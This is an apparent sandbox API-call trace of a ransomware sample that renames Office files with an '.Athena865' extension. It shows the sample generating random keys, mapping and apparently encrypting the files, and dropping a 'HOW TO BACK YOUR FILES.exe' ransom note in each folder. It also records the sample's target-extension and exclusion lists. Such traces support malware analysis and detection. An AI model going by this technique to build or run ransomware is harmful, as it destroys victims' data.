[0151.779] lstrlenW (lpString="udb") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="udb") returned 1 [0151.779] lstrlenW (lpString="udl") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="udl") returned 1 [0151.779] lstrlenW (lpString="usr") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="usr") returned 1 [0151.779] lstrlenW (lpString="v12") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="v12") returned 1 [0151.779] lstrlenW (lpString="vis") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="vis") returned 1 [0151.779] lstrlenW (lpString="vpd") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="vpd") returned 1 [0151.779] lstrlenW (lpString="vvv") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="vvv") returned 1 [0151.779] lstrlenW (lpString="wdb") returned 3 [0151.779] lstrcmpiW (lpString1="XSL", lpString2="wdb") returned 1 [0151.779] lstrlenW (lpString="wmdb") returned 4 [0151.779] lstrcmpiW (lpString1=".XSL", lpString2="wmdb") returned -1 [0151.779] lstrlenW (lpString="wrk") returned 3 [0151.780] lstrcmpiW (lpString1="XSL", lpString2="wrk") returned 1 [0151.780] lstrlenW (lpString="xdb") returned 3 [0151.780] lstrcmpiW (lpString1="XSL", lpString2="xdb") returned 1 [0151.780] lstrlenW (lpString="xld") returned 3 [0151.780] lstrcmpiW (lpString1="XSL", lpString2="xld") returned 1 [0151.780] lstrlenW (lpString="xmlff") returned 5 [0151.780] lstrcmpiW (lpString1="g.XSL", lpString2="xmlff") returned -1 [0151.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL.Athena865") returned 83 [0151.780] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl.athena865"), dwFlags=0x1) returned 1 [0151.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2String.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2string.xsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.783] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31013) returned 1 [0151.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.783] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.784] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.784] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.784] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c30, lpName=0x0) returned 0x17c [0151.786] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c30) returned 0x100000 [0151.788] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.788] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.788] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.789] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.789] CloseHandle (hObject=0x17c) returned 1 [0151.789] CloseHandle (hObject=0x154) returned 1 [0151.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.790] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Author2XML.XSL", cAlternateFileName="AUTHOR~2.XSL")) returned 1 [0151.790] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.790] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0151.790] lstrcmpiW (lpString1="Author2XML.XSL", lpString2=".") returned 1 [0151.790] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="..") returned 1 [0151.790] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="windows") returned -1 [0151.790] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="bootmgr") returned -1 [0151.790] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="temp") returned -1 [0151.790] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="pagefile.sys") returned -1 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="boot") returned -1 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="ids.txt") returned -1 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="ntuser.dat") returned -1 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="perflogs") returned -1 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2="MSBuild") returned -1 [0151.791] lstrlenW (lpString="Author2XML.XSL") returned 14 [0151.791] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Author2XML.XSL" | out: lpString1="Author2XML.XSL") returned="Author2XML.XSL" [0151.791] lstrlenW (lpString="Author2XML.XSL") returned 14 [0151.791] lstrlenW (lpString="Athena865") returned 9 [0151.791] lstrcmpiW (lpString1="r2XML.XSL", lpString2="Athena865") returned 1 [0151.791] lstrlenW (lpString=".dll") returned 4 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2=".dll") returned 1 [0151.791] lstrlenW (lpString=".lnk") returned 4 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2=".lnk") returned 1 [0151.791] lstrlenW (lpString=".ini") returned 4 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2=".ini") returned 1 [0151.791] lstrlenW (lpString=".sys") returned 4 [0151.791] lstrcmpiW (lpString1="Author2XML.XSL", lpString2=".sys") returned 1 [0151.791] lstrlenW (lpString="Author2XML.XSL") returned 14 [0151.791] lstrlenW (lpString="bak") returned 3 [0151.791] lstrcmpiW (lpString1="XSL", lpString2="bak") returned 1 [0151.791] lstrlenW (lpString="ba_") returned 3 [0151.791] lstrcmpiW (lpString1="XSL", lpString2="ba_") returned 1 [0151.791] lstrlenW (lpString="dbb") returned 3 [0151.791] lstrcmpiW (lpString1="XSL", lpString2="dbb") returned 1 [0151.791] lstrlenW (lpString="vmdk") returned 4 [0151.791] lstrcmpiW (lpString1=".XSL", lpString2="vmdk") returned -1 [0151.791] lstrlenW (lpString="rar") returned 3 [0151.791] lstrcmpiW (lpString1="XSL", lpString2="rar") returned 1 [0151.792] lstrlenW (lpString="zip") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="zip") returned -1 [0151.792] lstrlenW (lpString="tgz") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="tgz") returned 1 [0151.792] lstrlenW (lpString="vbox") returned 4 [0151.792] lstrcmpiW (lpString1=".XSL", lpString2="vbox") returned -1 [0151.792] lstrlenW (lpString="vdi") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="vdi") returned 1 [0151.792] lstrlenW (lpString="vhd") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="vhd") returned 1 [0151.792] lstrlenW (lpString="vhdx") returned 4 [0151.792] lstrcmpiW (lpString1=".XSL", lpString2="vhdx") returned -1 [0151.792] lstrlenW (lpString="avhd") returned 4 [0151.792] lstrcmpiW (lpString1=".XSL", lpString2="avhd") returned -1 [0151.792] lstrlenW (lpString="db") returned 2 [0151.792] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0151.792] lstrlenW (lpString="db2") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="db2") returned 1 [0151.792] lstrlenW (lpString="db3") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="db3") returned 1 [0151.792] lstrlenW (lpString="dbf") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="dbf") returned 1 [0151.792] lstrlenW (lpString="mdf") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="mdf") returned 1 [0151.792] lstrlenW (lpString="mdb") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="mdb") returned 1 [0151.792] lstrlenW (lpString="sql") returned 3 [0151.792] lstrcmpiW (lpString1="XSL", lpString2="sql") returned 1 [0151.792] lstrlenW (lpString="sqlite") returned 6 [0151.792] lstrcmpiW (lpString1="ML.XSL", lpString2="sqlite") returned -1 [0151.793] lstrlenW (lpString="sqlite3") returned 7 [0151.793] lstrcmpiW (lpString1="XML.XSL", lpString2="sqlite3") returned 1 [0151.793] lstrlenW (lpString="sqlitedb") returned 8 [0151.793] lstrcmpiW (lpString1="2XML.XSL", lpString2="sqlitedb") returned -1 [0151.793] lstrlenW (lpString="xml") returned 3 [0151.793] lstrcmpiW (lpString1="XSL", lpString2="xml") returned 1 [0151.793] lstrlenW (lpString="$er") returned 3 [0151.793] lstrcmpiW (lpString1="XSL", lpString2="$er") returned 1 [0151.793] lstrlenW (lpString="4dd") returned 3 [0151.793] lstrcmpiW (lpString1="XSL", lpString2="4dd") returned 1 [0151.793] lstrlenW (lpString="4dl") returned 3 [0151.793] lstrcmpiW (lpString1="XSL", lpString2="4dl") returned 1 [0151.793] lstrlenW (lpString="^^^") returned 3 [0151.793] lstrcmpiW (lpString1="XSL", lpString2="^^^") returned 1 [0151.793] lstrlenW (lpString="abs") returned 3 [0151.793] lstrcmpiW (lpString1="XSL", lpString2="abs") returned 1 [0151.793] lstrlenW (lpString="abx") returned 3 [0151.793] lstrcmpiW (lpString1="XSL", lpString2="abx") returned 1 [0151.793] lstrlenW (lpString="accdb") returned 5 [0151.793] lstrcmpiW (lpString1="L.XSL", lpString2="accdb") returned 1 [0151.793] lstrlenW (lpString="accdc") returned 5 [0151.793] lstrcmpiW (lpString1="L.XSL", lpString2="accdc") returned 1 [0151.793] lstrlenW (lpString="accde") returned 5 [0151.793] lstrcmpiW (lpString1="L.XSL", lpString2="accde") returned 1 [0151.793] lstrlenW (lpString="accdr") returned 5 [0151.793] lstrcmpiW (lpString1="L.XSL", lpString2="accdr") returned 1 [0151.793] lstrlenW (lpString="accdt") returned 5 [0151.793] lstrcmpiW (lpString1="L.XSL", lpString2="accdt") returned 1 [0151.793] lstrlenW (lpString="accdw") returned 5 [0151.793] lstrcmpiW (lpString1="L.XSL", lpString2="accdw") returned 1 [0151.793] lstrlenW (lpString="accft") returned 5 [0151.794] lstrcmpiW (lpString1="L.XSL", lpString2="accft") returned 1 [0151.794] lstrlenW (lpString="adb") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0151.794] lstrlenW (lpString="adb") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0151.794] lstrlenW (lpString="ade") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="ade") returned 1 [0151.794] lstrlenW (lpString="adf") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="adf") returned 1 [0151.794] lstrlenW (lpString="adn") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="adn") returned 1 [0151.794] lstrlenW (lpString="adp") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="adp") returned 1 [0151.794] lstrlenW (lpString="alf") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="alf") returned 1 [0151.794] lstrlenW (lpString="ask") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="ask") returned 1 [0151.794] lstrlenW (lpString="btr") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="btr") returned 1 [0151.794] lstrlenW (lpString="cat") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="cat") returned 1 [0151.794] lstrlenW (lpString="cdb") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="cdb") returned 1 [0151.794] lstrlenW (lpString="ckp") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="ckp") returned 1 [0151.794] lstrlenW (lpString="cma") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="cma") returned 1 [0151.794] lstrlenW (lpString="cpd") returned 3 [0151.794] lstrcmpiW (lpString1="XSL", lpString2="cpd") returned 1 [0151.794] lstrlenW (lpString="dacpac") returned 6 [0151.795] lstrcmpiW (lpString1="ML.XSL", lpString2="dacpac") returned 1 [0151.795] lstrlenW (lpString="dad") returned 3 [0151.795] lstrcmpiW (lpString1="XSL", lpString2="dad") returned 1 [0151.795] lstrlenW (lpString="dadiagrams") returned 10 [0151.795] lstrcmpiW (lpString1="or2XML.XSL", lpString2="dadiagrams") returned 1 [0151.795] lstrlenW (lpString="daschema") returned 8 [0151.795] lstrcmpiW (lpString1="2XML.XSL", lpString2="daschema") returned -1 [0151.795] lstrlenW (lpString="db-journal") returned 10 [0151.795] lstrcmpiW (lpString1="or2XML.XSL", lpString2="db-journal") returned 1 [0151.795] lstrlenW (lpString="db-shm") returned 6 [0151.795] lstrcmpiW (lpString1="ML.XSL", lpString2="db-shm") returned 1 [0151.795] lstrlenW (lpString="db-wal") returned 6 [0151.795] lstrcmpiW (lpString1="ML.XSL", lpString2="db-wal") returned 1 [0151.795] lstrlenW (lpString="dbc") returned 3 [0151.795] lstrcmpiW (lpString1="XSL", lpString2="dbc") returned 1 [0151.795] lstrlenW (lpString="dbs") returned 3 [0151.795] lstrcmpiW (lpString1="XSL", lpString2="dbs") returned 1 [0151.795] lstrlenW (lpString="dbt") returned 3 [0151.795] lstrcmpiW (lpString1="XSL", lpString2="dbt") returned 1 [0151.795] lstrlenW (lpString="dbv") returned 3 [0151.795] lstrcmpiW (lpString1="XSL", lpString2="dbv") returned 1 [0151.795] lstrlenW (lpString="dbx") returned 3 [0151.795] lstrcmpiW (lpString1="XSL", lpString2="dbx") returned 1 [0151.795] lstrlenW (lpString="dcb") returned 3 [0151.795] lstrcmpiW (lpString1="XSL", lpString2="dcb") returned 1 [0151.796] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.Athena865") returned 80 [0151.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl.athena865"), dwFlags=0x1) returned 1 [0151.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Author2XML.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\author2xml.xsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.797] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4070) returned 1 [0151.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.798] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.798] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.798] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.798] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.799] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12f0, lpName=0x0) returned 0x17c [0151.800] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12f0) returned 0x100000 [0151.801] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.801] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.801] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.802] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.802] CloseHandle (hObject=0x17c) returned 1 [0151.802] CloseHandle (hObject=0x154) returned 1 [0151.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.803] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd06a4220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd06a4220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0151.803] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0151.803] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sort", cAlternateFileName="")) returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2=".") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="..") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="windows") returned -1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="bootmgr") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="temp") returned -1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="pagefile.sys") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="boot") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="ids.txt") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="ntuser.dat") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="perflogs") returned 1 [0151.803] lstrcmpiW (lpString1="Sort", lpString2="MSBuild") returned 1 [0151.803] lstrlenW (lpString="Sort") returned 4 [0151.803] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Sort" | out: lpString1="Sort") returned="Sort" [0151.803] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cc18 [0151.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x54ee58 [0151.804] lstrcatW (in: lpString1="Sort", lpString2="\\" | out: lpString1="Sort\\") returned="Sort\\" [0151.804] lstrcatW (in: lpString1="Sort\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sort\\HOW TO BACK YOUR FILES.exe") returned="Sort\\HOW TO BACK YOUR FILES.exe" [0151.804] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\how to back your files.exe"), bFailIfExists=1) returned 1 [0151.809] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.809] lstrcmpiW (lpString1="Style", lpString2=".") returned 1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="..") returned 1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="windows") returned -1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="bootmgr") returned 1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="temp") returned -1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="pagefile.sys") returned 1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="boot") returned 1 [0151.809] lstrcmpiW (lpString1="Style", lpString2="ids.txt") returned 1 [0151.810] lstrcmpiW (lpString1="Style", lpString2="ntuser.dat") returned 1 [0151.810] lstrcmpiW (lpString1="Style", lpString2="perflogs") returned 1 [0151.810] lstrcmpiW (lpString1="Style", lpString2="MSBuild") returned 1 [0151.810] lstrlenW (lpString="Style") returned 5 [0151.810] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Style" | out: lpString1="Style") returned="Style" [0151.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cdf8 [0151.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x54eee0 [0151.810] lstrcatW (in: lpString1="Style", lpString2="\\" | out: lpString1="Style\\") returned="Style\\" [0151.810] lstrcatW (in: lpString1="Style\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Style\\HOW TO BACK YOUR FILES.exe") returned="Style\\HOW TO BACK YOUR FILES.exe" [0151.810] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\how to back your files.exe"), bFailIfExists=1) returned 1 [0151.814] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0151.814] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0151.814] ReleaseMutex (hMutex=0xec) returned 1 [0151.814] CloseHandle (hObject=0xec) returned 1 [0151.814] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0151.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539e70 | out: hHeap=0x4f0000) returned 1 [0151.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc00 | out: hHeap=0x4f0000) returned 1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned 50 [0151.814] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\04808A0D511DC3CF0C71A0E05537FEEB") returned 0xec [0151.814] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0151.814] lstrcatW (in: lpString1="", lpString2="C:\\Program 